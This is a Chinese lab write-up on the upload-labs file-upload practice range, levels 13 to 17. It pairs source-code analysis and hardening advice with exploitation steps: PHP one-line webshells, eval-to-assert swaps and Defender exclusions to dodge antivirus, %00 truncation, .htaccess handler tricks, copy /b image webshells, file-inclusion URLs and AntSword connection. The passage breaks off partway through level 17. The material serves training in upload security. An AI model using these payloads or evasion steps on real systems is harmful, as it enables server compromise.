upload-labs靶场的pass-13~21的解题步骤及原理讲解

前言

本文主要内容是upload-labs靶场的pass-13~21的解题步骤及原理讲解,帮助大家更好的了解文件上传漏洞。

相信通过前文Upload-labs:部署靶场及Pass-01实战解析-CSDN博客

pass-2-12:upload-labs靶场的pass-2~21的解题步骤及原理讲解-CSDN博客

大家已经了解如何部署upload-labs靶场以及大体知道了文件上传漏洞是怎么回事

正如前言所说,每一关没有固定的方法,如果有好的其他办法,欢迎大家在评论区交流!

话不多说,我们继续深入了解------文件上传漏洞

先记得一定要把杀毒软件或者别的什么安全防护关掉!要不然会显示是病毒,不让上传

否则:

这是一个非常经典的问题!你遇到的不是 upload-labs 靶场的拦截,而是你**本地 Windows 系统的 Windows Defender(安全中心)**把文件给"杀"了。

当你选择文件准备上传时,Windows 检测到 whell.php 的内容(eval, $_POST 等特征)像木马,所以在文件还没发出去之前,就阻止了你的操作。

解决方法(三选一)

方法一:给文件夹加"白名单"(最推荐,一劳永逸)

既然你在做网络安全练习,以后还会遇到很多类似的文件,建议把你存放这些文件的文件夹加入排除项。

  1. 点击 Windows 开始菜单 ,搜索"病毒和威胁防护",打开它。
  2. 在"病毒和威胁防护设置"下方,点击"管理设置"。
  3. 向下滚动,找到"排除项 ",点击"添加或删除排除项"。
  4. 点击"添加排除项 " -> 选择"文件夹"。
  5. 找到并选中你的 bachang 文件夹(就是你截图里的那个文件夹)。

操作完后,再次上传就不会报错了。

方法二:直接修改文件内容(最快)

Windows Defender 主要是检测文件里的代码特征。你只要稍微改一下内容,它就不认识了。

  1. 右键点击 whell.php,用记事本打开。
  2. 把代码里的 eval 改成 assert(这也是一个执行函数,在老版本 PHP 中通用,或者靶场里通常够用)。
    • 原代码:<?php @eval($_POST['cmd']); ?>
    • 改后:<?php @assert($_POST['cmd']); ?>
  3. 保存
  4. 再次上传。

注意:如果你用蚁剑连接,密码依然是 cmd,不需要改。

方法三:暂时关闭实时防护(不推荐,除非前两个都不行)

  1. 同样在"病毒和威胁防护设置"里。
  2. 把"实时保护 "的开关关闭
  3. 上传文件。
  4. 记得上传完后立刻打开!

建议使用方法一,这样你以后做靶场练习,不管是 Webshell 还是其他工具,都不会被系统自动删除了。搞定这个后,重新上传文件,再用蚁剑连接试试!


在后面的解题中phpstudy可能不太适用了,很大的概率是因为phpstudy版本太高了,比较方便的方法用%00 截断天然失效!如果你真要做的话,phpStudy 2018 (老版本,自带 PHP 5.3 / 5.2)

**这是唯一能让 %00 截断生效的环境!**你现在用的新版 phpStudy / XAMPP 全是 PHP 7+ / 8+

这篇文章可以当稍微了解一下怎么个做法就好了,因为其实步骤真的差不多,一些小地方才要改

你可以先尝试一下前面几道题,不嫌麻烦的话实操就好了

由于环境配置问题,如果单是用phpstudy的环境只能做前面的,后面的图片马做不了

所以推荐一个靶场运行:BUUCTF在线评测,用第一个linux运行,但是其实也有点不稳定


pass-13(00阶段POST型)

详细分析源代码

一、整体功能

这是一个基于白名单后缀校验的文件上传代码,核心流程是:

  1. 检查表单是否提交
  2. 提取上传文件的后缀名
  3. 用白名单 jpg/png/gif 校验后缀
  4. 拼接目标路径(路径由用户可控)
  5. 移动临时文件到目标路径,标记上传结果

二、逐行代码解析

1. 初始化变量

复制代码
$is_upload = false;
$msg = null;
  • $is_upload:标记上传是否成功,初始为 false
  • $msg:存储上传过程中的提示信息,初始为 null

2. 表单提交判断

复制代码
if(isset($_POST['submit'])){

判断用户是否点击了表单的 submit 按钮,只有提交请求才会进入上传逻辑。


3. 定义白名单后缀

复制代码
$ext_arr = array('jpg','png','gif');

定义允许上传的文件后缀白名单,只有这三种后缀的文件才会被允许上传。


4. 提取文件后缀名

复制代码
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  • strrpos($_FILES['upload_file']['name'], "."):找到文件名中最后一个 . 的位置(比如 shell.php.jpg 会找到最后一个 . 的位置)。
  • substr(..., 位置+1):从 . 的下一位开始截取字符串,得到文件后缀名。例如:shell.jpg → 截取后得到 jpgshell.php.jpg → 截取后得到 jpg

⚠️ 这里有个细节:如果文件名中没有 . (比如直接叫 shell),strrpos 会返回 falsesubstr 会从位置 false+1=1 开始截取,直接截取整个文件名,导致校验失效。


5. 白名单校验

复制代码
if(in_array($file_ext,$ext_arr)){

判断提取到的后缀是否在白名单数组中,只有在白名单内的文件才会进入上传流程。


6. 获取临时文件路径

复制代码
$temp_file = $_FILES['upload_file']['tmp_name'];

获取文件上传到服务器后的临时路径,后续会用 move_uploaded_file 移动到目标目录。


7. 拼接目标路径(关键漏洞点)

复制代码
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  • $_POST['save_path']用户可控的变量,用户可以通过 POST 请求修改这个值。
  • rand(10, 99).date("YmdHis"):生成随机数 + 时间戳,避免文件名重复。
  • 最终路径格式:用户指定的路径/随机时间戳.后缀

⚠️ 这里的 $_POST['save_path']用户可控的输入,且没有任何过滤,是核心安全漏洞。


8. 移动文件并标记结果

复制代码
if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
} else {
    $msg = "上传失败";
}
  • move_uploaded_file():将临时文件移动到目标路径,成功返回 true,失败返回 false
  • 成功时将 $is_upload 设为 true,失败时设置错误提示。

9. 后缀不合法的处理

复制代码
} else {
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
}

如果文件后缀不在白名单中,提示用户只能上传指定类型的文件。


三、核心安全漏洞分析

这段代码的问题主要集中在路径可控后缀校验不严谨上,在 CTF 或真实环境中都可以被利用。

1. 路径穿越 + 解析漏洞(最严重)

因为 $_POST['save_path'] 是用户可控的,攻击者可以通过修改这个值实现路径穿越,配合服务器解析漏洞 getshell。

常见利用方式:

  • 路径穿越写文件 :攻击者将 save_path 设置为 ../,就可以将文件上传到网站根目录之外的位置。例如:save_path=../,目标路径会变成 ..//9920250518123456.jpg,如果服务器根目录可写,就可以覆盖配置文件或写 Webshell。

  • 配合 Apache/Nginx 解析漏洞 :攻击者将 save_path 设置为 xxx.php/,目标路径会变成 xxx.php/9920250518123456.jpg,如果服务器存在目录解析漏洞(如 Nginx 旧版本),会将整个路径解析为 PHP 文件,执行其中的恶意代码。

  • .htaccess 控制解析 :如果服务器是 Apache,攻击者可以上传 .htaccess 文件,修改 AddHandler php5-script .jpg,让 .jpg 文件被解析为 PHP。利用方式:将 save_path 设置为 .(当前目录),上传包含 AddHandler php5-script .jpg.htaccess 文件,再上传图片马,即可执行代码。

2. 后缀校验的绕过方式

  • 文件名无后缀绕过 :如果上传的文件名为 shell(无 .),strrpos 返回 falsesubstr 会从位置 1 开始截取,得到 hell,不在白名单中,无法直接绕过,但如果结合其他漏洞仍有利用空间。
  • 双重后缀绕过 :上传文件名为 shell.php.jpgstrrpos 会取最后一个 . 后的 jpg,通过白名单校验,但如果服务器存在解析漏洞(如 Apache 的 AddHandler 配置不当),仍会被解析为 PHP。
  • 大小写绕过 :如果服务器是 Windows 系统,文件后缀不区分大小写,上传 shell.PHP 会被解析为 PHP,但这段代码中 $ext_arr 是小写,无法直接绕过。

3. 其他问题

  • 没有对 save_path 做任何过滤,攻击者可以注入 /../%00 等特殊字符,实现路径控制。
  • 没有限制文件大小,可能导致服务器磁盘被占满。
  • 没有验证文件的真实内容(如文件头检测),只能防止简单的后缀伪造,无法阻止图片马。

四、代码加固建议

如果要修复这段代码的安全问题,需要从以下几个方面修改:

  1. 禁止用户可控路径 :直接将 save_path 改为常量,不允许用户传入:

    复制代码
    define('UPLOAD_PATH', './upload');
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_ext;
  2. 过滤路径中的特殊字符 :如果必须使用用户传入的路径,需要先过滤 ..//\ 等字符:

    复制代码
    $save_path = $_POST['save_path'];
    // 过滤路径穿越字符
    $save_path = preg_replace('/\.\.\//', '', $save_path);
    $save_path = preg_replace('/[\/\\\]/', '', $save_path);
    // 限制路径在指定目录内
    $img_path = UPLOAD_PATH."/".$save_path."/".rand(10, 99).date("YmdHis").".".$file_ext;
  3. 增加文件头校验 :用 getimagesize()exif_imagetype() 检测文件的真实图片类型,防止图片马:

    复制代码
    $image_info = getimagesize($temp_file);
    if(!$image_info){
        $msg = "文件不是真实图片!";
        return;
    }
  4. 限制文件大小和 MIME 类型

    复制代码
    if($_FILES['upload_file']['size'] > 2*1024*1024){ // 限制2MB
        $msg = "文件过大!";
        return;
    }
    $mime_type = mime_content_type($temp_file);
    if(!in_array($mime_type, ['image/jpeg', 'image/png', 'image/gif'])){
        $msg = "文件MIME类型不合法!";
        return;
    }

解题步骤

一、漏洞核心回顾

代码的致命问题:

  1. 文件后缀仅做了前端式的白名单校验(只看文件名后缀)
  2. 保存路径 $_POST['save_path'] 完全可控,无任何过滤 → 这是典型的路径可控 + 解析漏洞组合利用场景。

二、解题前置条件

  • 目标环境:PHP + Apache/Nginx(存在目录解析漏洞 / 支持 .htaccess
  • 你可以:
    1. 抓包修改 POST 请求(推荐用 Burp Suite)
    2. 上传文件后能知道文件保存路径(题目一般会回显)

三、方法一:利用 Apache 目录解析漏洞(最通用)

步骤 1:准备上传文件

  1. 新建一个文件,命名为 shell.jpg,内容写入一句话木马:

    复制代码
    <?php @eval($_POST['cmd']);?>

    (文件名后缀必须是 jpg/png/gif 之一,否则过不了白名单)

步骤 2:抓包修改 save_path 参数

  1. 正常提交上传请求,用 Burp 抓包。

  2. 在 POST 数据中找到 save_path 参数,修改为:

    复制代码
    save_path=shell.php

    (注意:这里不需要写 /,直接写 shell.php 即可)

  3. 此时拼接后的文件路径为:

    复制代码
    shell.php/[随机时间戳].jpg

步骤 3:利用解析漏洞执行代码

  1. 服务器会把 shell.php/xxx.jpg 解析为 PHP 文件(Apache/Nginx 旧版本会把 / 后的内容当作路径信息,只解析前面的 shell.php 部分)。
  2. 用菜刀 / 蚁剑连接 shell.php/[随机时间戳].jpg,密码 cmd,即可 getshell。

四、方法二:写 .htaccess 控制解析(Apache 环境专用)

如果目标服务器是 Apache,且开启了 AllowOverride,可以用这个方法让 .jpg 文件直接被解析为 PHP。

步骤 1:上传 .htaccess 文件

  1. 新建文件 .htaccess,内容:

    复制代码
    AddHandler php5-script .jpg

    (作用:让所有 .jpg 文件被当作 PHP 解析)

  2. 上传 .htaccess 文件:

    • 文件名改为 .htaccess.jpg(后缀 jpg 过白名单)
    • 抓包修改 save_path.(当前目录),让文件保存到网站根目录。
    • 上传成功后,.htaccess.jpg 会被保存为 ./[随机时间戳].jpg,你需要再次上传一个真正的 .htaccess 文件(或者用路径穿越覆盖为 .htaccess)。

步骤 2:上传图片马

  1. 新建 shell.jpg,内容写入一句话木马:

    复制代码
    <?php @eval($_POST['cmd']);?>
  2. 正常上传,save_path 保持默认即可。

  3. 上传成功后,直接访问 [随机时间戳].jpg,即可执行 PHP 代码。


五、方法三:路径穿越直接写 Webshell(服务器目录可写时)

如果目标服务器的根目录可写,可以直接用路径穿越把文件上传为 .php

步骤 1:准备文件

  1. 新建 shell.jpg,内容写入一句话木马:

    复制代码
    <?php @eval($_POST['cmd']);?>

步骤 2:抓包修改 save_path

  1. 抓包后修改 save_path 为:

    复制代码
    save_path=../

    此时文件会被上传到网站根目录的上一级目录。

  2. 进一步修改路径,直接写为 shell.php

    复制代码
    save_path=../shell.php

    (注意:此时文件后缀会被代码自动加上 .jpg,所以需要结合其他漏洞,比如 %00 截断)


六、方法四:%00 截断上传(旧版本 PHP 可用)

如果目标 PHP 版本 < 5.3.4,且 magic_quotes_gpc=Off,可以用 %00 截断后缀。

为什么这些条件缺一不可?
  1. PHP 版本限制
  • PHP ≤ 5.3.4 :PHP 内核在处理文件路径时,会把 %00 解析为字符串结束符,导致后面的内容被截断。
  • PHP ≥ 5.3.4 :修复了这个安全漏洞,内核不再把 %00 当作结束符,截断失效。
  1. magic_quotes_gpc 限制
  • magic_quotes_gpc = Off :用户传入的 %00 不会被自动转义,能原样传入内核。
  • magic_quotes_gpc = On :PHP 会自动把 %00 转义为 \0,失去截断效果。

步骤 1:准备文件

  1. 新建 shell.php,内容写入一句话木马。

步骤 2:抓包修改文件名

方法1:

(这个如果不行的话用方法2)

  1. 上传jpg文件时,抓包修改文件名:

    复制代码
    save_path=../upload/shell.php%00
  2. 点击 Burp 的「放行」按钮

  3. 此时代码中 strrpos 会取最后一个 . 后的 jpg,通过白名单校验;但服务器处理路径时,%00 会截断,文件实际保存为 shell.php

为什么上传失败了?

你用方案一的时候,save_path=../upload/shell.php%00,但上传失败,大概率是因为:

  1. %00 被自动 URL 解码了(Burp 里要确保 %00 没有被自动转义成 \0
  2. PHP 环境虽然是低版本,但 magic_quotes_gpc 开启了,%00 被转义失效了
方法2

在文件名里加 %00(本关也能用)

修改上传文件的 filename 为:

复制代码
shell.php%00.jpg
  • 白名单校验会取最后一个 . 后的 jpg,校验通过。
  • 服务器保存时,%00 截断,文件实际保存为 shell.php

如果复制图片地址,新建了一个页面栏显示:

🔍 问题诊断
  1. 为什么图片无法显示?

你上传的文件里是纯 PHP 代码,没有任何图片文件头(比如 GIF 的GIF89a、JPG 的FFD8FF),所以浏览器会把它当成损坏的图片文件,直接报错 "无法显示"。

  1. 为什么 PHP 代码没被解析?

文件的后缀还是.jpg,服务器只会把它当成静态图片处理,不会交给 PHP 解释器执行里面的代码。蚁剑发送的 POST 请求,服务器只会返回文件的原始内容(PHP 代码文本),不会执行,所以蚁剑提示 "返回数据为空"。

方法3:

上传shell.php,抓包将文件名改为shell.png(或者shell.jpg,都一样,图片文件),将参数save_path的值改为shell.php ,后面的空格将其Hex值改成00,或者按照下图,选中%00右键,点击URL-decode(网址解密)这个%00就会变成一个空格,然后后面步骤一样放行就行

步骤 3:连接 webshell

  1. 访问上传后的文件路径:http://upload-labs:8090/upload/shell.php
  2. 用蚁剑 / 菜刀连接该地址,密码为 cmd,即可拿到 webshell 权限。

七、解题关键总结

  1. 核心利用点:save_path 可控 + 解析漏洞 / 路径穿越

  2. 最通用的 Payload:

    复制代码
    save_path=shell.php + 上传 shell.jpg
  3. 其他方法:.htaccess%00 截断、路径穿越写根目录。


pass-14(文件头标识)

详细分析源代码

一、整体功能概览

这是一个基于文件头(魔术字节)的文件上传验证代码,它的逻辑是:

  1. 读取上传文件的前 2 个字节,判断文件类型
  2. 只允许 jpg/png/gif 三种图片格式上传
  3. 过滤掉所有无法识别的文件类型(比如 .php 脚本)

二、逐行代码详解

1. getReailFileType() 函数:核心文件头检测
复制代码
function getReailFileType($filename){
    $file = fopen($filename, "rb");  // 以二进制只读模式打开文件
    $bin = fread($file, 2);           // 只读取文件的前 2 个字节(文件头)
    fclose($file);

    $strInfo = @unpack("C2chars", $bin); // 把读取的2个字节,按无符号字符解析
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 拼接两个字节为整数
    $fileType = '';

    // 根据文件头的数值判断文件类型
    switch($typeCode){
        case 255216: $fileType = 'jpg'; break;  // JPG 文件头: FF D8
        case 13780:  $fileType = 'png'; break;  // PNG 文件头: 89 50
        case 7173:   $fileType = 'gif'; break;  // GIF 文件头: 47 49
        default:     $fileType = 'unknown';     // 其他类型视为未知文件
    }
    return $fileType;
}

关键点

  • 只检查文件的前 2 个字节,不验证文件的完整内容,也不检查文件后缀
  • 不同图片格式的文件头(魔术字节)是固定的,所以可以通过这种方式快速判断文件类型

2. 上传处理主逻辑
复制代码
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件名
    $file_type = getReailFileType($temp_file);      // 调用上面的函数,检测文件类型

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!"; // 非图片文件直接拦截
    } else {
        // 生成保存路径:随机数 + 时间戳 + 检测到的文件类型后缀
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

关键点

  • 保存文件时,直接用检测到的 $file_type 作为后缀(比如 .jpg),没有保留用户上传的原始文件名
  • 最终保存的文件名格式:/upload/9920260518123456.jpg,后缀由检测结果决定

三、安全逻辑与漏洞分析

1. 过滤机制的局限性
  • ✅ 优点:能拦截直接上传的 .php 脚本(文件头不是图片格式)
  • ❌ 缺点:只检查前 2 个字节,很容易绕过
2. 常见绕过方法(针对这段代码)
方法 1:图片马绕过(最常用)
  1. 制作图片马:在合法图片文件里插入 PHP 代码

    复制代码
    # 命令行合成(Windows 用 copy)
    copy /b test.jpg + shell.php shell.jpg
  2. 上传这个图片马:文件头是合法图片格式,会通过检测

  3. 服务器会把它保存为 .jpg 文件,但里面包含 PHP 代码

  4. 如果服务器存在文件包含漏洞,或者支持解析 .jpg 里的 PHP 代码,就能执行脚本

方法 2:文件头伪造绕过
  1. 在 PHP 脚本文件的开头,加上对应图片的文件头:
    • JPG:ÿØ(十六进制 FF D8
    • PNG:‰P(十六进制 89 50
  2. 保存为 .php 文件上传,前 2 个字节是合法图片格式,会通过检测
  3. 服务器保存后,文件后缀还是 .php,会被直接解析执行

四、和你之前遇到的 Pass-13 有什么区别?

你之前的 Pass-13 代码,核心漏洞是 save_path 参数可控,导致 %00 截断;而这段代码的漏洞点是文件头检测的局限性 ,和 %00 无关,这是完全不同的关卡。


五、这段代码的安全加固建议

  1. 增加文件内容完整性校验(比如检查图片的完整结构,而不只是前 2 个字节)
  2. 上传后对文件进行二次渲染(比如 GD 库重新生成图片,清除嵌入的恶意代码)
  3. 限制上传文件的后缀,只允许 .jpg/.png/.gif,不允许其他格式
  4. 对上传目录设置权限,禁止 PHP 脚本执行

解题步骤

步骤 1: 制作图片马

·++方法一:++ ++cmd++ ++合并++

准备三个正常的图片文件 ( 1.jpg,2.png,3.gif ) 和一个木马文件(text.php),放在同一个文件夹内。

text.php 的内容为一句话木马:

复制代码
<?php @eval($_POST['aa']);?>

在文件夹内打开命令提示符(CMD),执行文件合并命令:

复制代码
copy  1.jpg/b  +  text.php/a  shell.jpg

copy  2.png/b  +  text.php/a  shell2.png

copy  3.gif/b  +  text.php/a    shell3.gif

(原理:将图片二进制数据与 PHP 代码文本合并,生成看似正常的图片文件 shell.jpg/shell2.png/shell3.gif)

·++方法二:使用++ ++UltraEdit++ ++添加文件前两个字节++

(1)查找jpg,png,gif文件的前两个字节

(2)创建txt文件,内容加上一句话木马,文件扩展名改成对应的图片文件扩展名jpg/png/gif。使用UltraEdit在文件前面添加对应两个字节。

接下来,三种图片的操作步骤一样。

步骤 2: 上传文件

在火狐中访问 Pass-14 页面:

点击「浏览」,选择制作好的 三种类型图片文件,

点击「上传」,页面提示上传成功,

上传成功后,复制服务器返回的图片文件路径。

步骤3: 利用文件包含漏洞

构造攻击 URL:

找到靶场中存在文件包含漏洞的脚本(如 include.php),通过 file 参数传入刚才上传的图片路径。

URL: http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg

原理:

服务器接收到请求后,include.php 会将 file 参数指定的 .jpg 文件当作 PHP 脚本进行解析和执行,从而绕过文件后缀名的限制。

步骤 4: 连接 WebShell

开启 POST 数据发送:

如图所示,勾选 Enable Post data。

设置连接密码:

在 Post data 栏中输入与木马匹配的键值对。

(数据: cmd=系统命令(木马为 eval($_POST['aa']), )

则填 aa=phpinfo();

验证:

发送请求后,若页面返回 phpinfo() 的信息,说明图片马中的代码已被成功执行,漏洞利用成功。

步骤 5: 使用中国蚁剑连接 WebShell

(1)打开中国蚁剑

启动中国蚁剑(AntSword)软件,在"数据管理"或"虚拟终端"界面中,右键点击左侧列表,选择"添加数据"。

(2)配置基本信息

在弹出的"添加数据"窗口中,填写以下关键信息:

URL 地址:填入上一步构造的文件包含漏洞利用链接。

http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg

(注意:这里必须包含 include.php 脚本路径和 file= 参数,指向你上传的图片马)

连接密码:填入木马文件中定义的 POST 参数名。

根据我们的木马文件,此处应填写:aa

(原理:木马代码为 eval($_POST['aa']),因此蚁剑需要知道通过 aa 这个键名发送指令)

(3)测试与连接

点击窗口上方的"测试连接"按钮。

如果配置正确,软件会提示"连接成功",并显示目标服务器的操作系统信息(如 Windows 或 Linux)。

点击"添加"保存配置。

完成通关

在蚁剑主界面双击刚刚添加的目标链接,即可打开虚拟终端或文件管理器,成功获取服务器权限,完成通关。

在别的博主那看到其他方法:

通过源码可知:读取图片转化成十六进制后的前两字节,这两字节的不同对应不同的图片。

如果你遇到:

复制代码
Warning: Unexpected character in input

这个问题非常经典,通常是在做文件包含(File Inclusion)配合图片马(Image Webshell)绕过时出现的。

简单来说,这是因为 PHP 解析器在读取图片文件时,把图片二进制数据中偶然出现的 <? 字符误判为了 PHP 的短标签(Short Open Tag),导致解析混乱。

自己部署的apache+php尝试发现不会出现这个问题,应该还是PHP版本(NTS和TS)差异造成的。


pass-15

详细分析源代码

一、整体功能概览

这是一个基于 getimagesize() 函数的图片文件校验上传代码,核心逻辑是:

  1. 用 PHP 内置的图片处理函数,验证上传文件是否为合法图片
  2. 只允许 .jpeg/.png/.gif 三种格式上传
  3. 校验通过后,自动生成随机文件名保存文件

二、逐行代码详解

1. isImage() 函数:核心图片校验

复制代码
function isImage($filename){
    // 定义允许的图片后缀
    $types = '.jpeg|.png|.gif';
    
    // 先判断文件是否存在
    if(file_exists($filename)){
        // getimagesize() 读取图片信息,返回数组,其中索引2是图片类型常量
        $info = getimagesize($filename);
        
        // 把图片类型常量转为文件后缀(比如 2 转为 .jpeg,3 转为 .png)
        $ext = image_type_to_extension($info[2]);
        
        // 判断转换后的后缀是否在允许列表中
        if(stripos($types,$ext)>=0){
            return $ext; // 校验通过,返回文件后缀
        }else{
            return false; // 校验失败,返回 false
        }
    }else{
        return false; // 文件不存在,返回 false
    }
}

关键细节:

  • getimagesize() 是 PHP 内置函数,它会读取文件的真实图片信息(宽高、格式等),只有合法的图片文件才能通过,纯文本的伪造文件头无法绕过它。
  • image_type_to_extension() 会根据图片的真实格式,返回标准后缀,不会被文件名的后缀欺骗。

2. 上传处理主逻辑

复制代码
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    // 获取上传文件的临时文件名(服务器端的临时文件)
    $temp_file = $_FILES['upload_file']['tmp_name'];
    
    // 调用 isImage() 函数,校验文件是否为合法图片
    $res = isImage($temp_file);
    
    if(!$res){
        // 校验失败,提示上传失败
        $msg = "文件未知,上传失败!";
    }else{
        // 校验通过,生成保存路径:随机数 + 时间戳 + 校验得到的后缀
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        
        // 把临时文件移动到指定路径
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

关键细节:

  • 保存文件时,直接用 $res(校验得到的真实图片后缀)作为文件名后缀,不使用用户上传的原始文件名,避免了后缀伪造。
  • 最终文件名格式:/upload/9920260518123456.jpeg,后缀由 getimagesize() 的结果决定。

三、安全逻辑与可利用点分析

1. 过滤机制的特点

  • 优点 :能拦截纯文本伪造文件头的脚本,也能拦截直接上传的 .php 脚本。
  • 局限性getimagesize() 只会读取文件的图片结构信息,不会解析文件的全部内容,因此图片马可以绕过

2. 常见绕过方法(针对这段代码)

方法 1:图片马绕过(最常用)
  1. 制作图片马:在合法图片文件里插入 PHP 代码

    复制代码
    # Windows 命令行合成
    copy /b test.jpg + shell.php shell.jpg
  2. 上传这个图片马:getimagesize() 会识别它为合法图片,校验通过。

  3. 服务器会把它保存为 .jpeg/.png/.gif 文件,但文件里包含 PHP 代码。

  4. 如果服务器存在文件包含漏洞,或者配置了 .htaccess 让服务器解析图片文件为 PHP,就能执行脚本。

方法 2:二次渲染绕过(部分场景)

部分服务器会对上传的图片进行二次渲染(比如用 GD 库重新生成图片),清除嵌入的恶意代码。此时需要制作特殊的图片马,让代码在渲染后仍然存在,但难度较高。


四、安全加固建议

  1. 上传后对图片进行二次渲染(如使用 GD 库或 Imagick 重新生成图片),清除嵌入的恶意代码。
  2. 限制上传文件的后缀,只允许 .jpeg/.png/.gif,并在服务器端配置禁止这些文件解析为 PHP。
  3. 对上传目录设置权限,禁止脚本执行,即使文件被上传也无法运行。
  4. 增加文件大小限制,防止恶意大文件上传。

五、和你之前的 Pass-13 有什么区别?

  • Pass-13 的核心漏洞是 save_path 参数可控导致的 %00 截断,属于路径解析漏洞。
  • 这段代码的漏洞点是 getimagesize() 无法检测图片内部嵌入的 PHP 代码,属于文件内容校验的局限性,两者是完全不同的关卡。

解题步骤

步骤1:制作图片马

  • 分别新建三张小于1KB的图片

保存为jpg、gif、png形式。

  • 使用cmd 分别输入以下三个命令,将他们都复制为shell.jpg、shell.png、shell.gif的格式

步骤2:逐个上传到Pass-15上

后面的步骤就都一样了,没什么区别很简单,估计做到这里,都有点做麻木了吧,哈哈哈

以下这个方法和第14题补充的做法是一样的,可以看一下


pass-16

图片马(图片木马) 是网络安全领域的术语,指将恶意代码(如一句话木马) 隐藏在正常图片文件中形成的特殊 Webshell,外观上与普通图片无异,但可被特定漏洞利用执行代码。

详细分析源代码

一、整体功能概览

这是一个图片上传处理代码,核心流程是:

  1. exif_imagetype() 检测上传文件的真实图片类型(防止后缀伪造)
  2. 生成随机 + 时间戳的文件名,防止覆盖
  3. move_uploaded_file() 把临时文件移动到目标目录
  4. 输出上传结果(成功 / 失败提示)

二、逐行代码解析

1. 自定义函数 isImage($filename)
复制代码
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;
        default:
            return false;
            break;
    }
}
  • 功能 :检测文件的真实图片类型,返回文件后缀名(gif/jpg/png),非图片文件返回 false
  • 核心原理exif_imagetype() 读取文件头,识别真实图片格式,比单纯检查后缀更安全。
  • 依赖条件 :需要开启 PHP 的 exif 扩展模块,否则函数会报错。

2. 初始化变量
复制代码
$is_upload = false;
$msg = null;
  • $is_upload:标记上传是否成功,初始为 false
  • $msg:存储上传过程中的提示信息,初始为 null

3. 处理表单提交逻辑
复制代码
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • isset($_POST['submit']):判断是否是表单提交的请求。
  • $_FILES['upload_file']['tmp_name']:获取上传文件在服务器上的临时路径。
  • $res = isImage($temp_file):调用函数检测图片类型。
  • rand(10, 99).date("YmdHis").".".$res:生成随机文件名,格式为 两位随机数 + 年月日时分秒 + 真实后缀,防止文件覆盖。
  • move_uploaded_file($temp_file,$img_path):把临时文件移动到目标目录,成功返回 true,失败返回 false

解题步骤

前期准备

还是用之前的一句话木马,txt改成php文件,最终文件名为shell.php

复制代码
<?php @eval($_POST['cmd']); ?>

随便找3个图片,(两个截的空白图片)

一、执行以下命令生成图片马

1. 生成 JPG 格式图片马(基于2.jpg)

复制代码
copy /b 2.jpg + shell.php shell.jpg

2. 生成 PNG 格式图片马(基于3.png)

复制代码
copy /b 3.png + shell.php shell.png

3. 生成 GIF 格式图片马(基于1.gif)

复制代码
copy /b 1.gif + shell.php shell.gif

二、打开 Pass-16 的上传页面,依次上传shell.jpg、shell.png、shell.gif三个文件;

每次上传成功后,务必记录服务器返回的文件路径(通常格式为./upload/xxx.jpg,比如upload/shell.jpg);

三、点击文件包含漏洞:

在URL后面输入?= upload/1260303760.png(上一步返回的图片路径)

页面会返回乱码

如果显示以下文件,那就是靶场环境问题,这个我目前还没找到方法解决,稍微看下步骤好了

四、直接用蚁剑连接测试木马是否上传成功

用之前其他博主的方法就是:


pass-17(二次渲染)

详细分析源代码

这是一段带二次渲染的图片上传验证代码,是 Upload-Labs 中防护最严格的关卡之一。我给你逐行拆解,讲清楚它的校验逻辑、防护机制和绕过思路。


一、整体功能概览

这段代码实现了一个三层校验 + 二次渲染的图片上传流程:

  1. 第一层:后缀校验 :检查文件扩展名是否为 jpg/png/gif
  2. 第二层:MIME 类型校验 :检查 Content-Type 是否为 image/jpeg 等合法图片类型
  3. 第三层:GD 库校验 :用 imagecreatefromjpeg/png/gif() 尝试解析图片,验证文件是否为真实图片
  4. 终极防护:二次渲染:用 GD 库重新生成图片,清除文件中嵌入的恶意代码,然后删除原文件

二、逐行代码详解

1. 初始化与文件信息获取
复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获取上传文件的基本信息
    $filename = $_FILES['upload_file']['name'];      // 原始文件名
    $filetype = $_FILES['upload_file']['type'];    // MIME 类型(Content-Type)
    $tmpname = $_FILES['upload_file']['tmp_name']; // 服务器临时文件路径

    // 生成保存路径
    $target_path = UPLOAD_PATH.'/'.basename($filename);

    // 提取文件扩展名(如 .jpg/.png)
    $fileext = substr(strrchr($filename, "."), 1);

关键点

  • strrchr($filename, ".") 找到文件名中最后一个 .substr 截取后面的部分,得到文件后缀
  • 这里的 $filetype 来自请求头,是客户端可控的,很容易伪造

2. JPG 图片上传流程(含二次渲染)
复制代码
// 校验后缀 + MIME 类型
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    if(move_uploaded_file($tmpname,$target_path)){
        // GD 库尝试解析图片,验证是否为真实 JPG
        $im = imagecreatefromjpeg($target_path);

        if($im == false){
            // 解析失败,说明不是真实 JPG,删除文件
            $msg = "该文件不是jpg格式的图片!";
            @unlink($target_path);
        }else{
            // 解析成功,开始二次渲染
            srand(time());
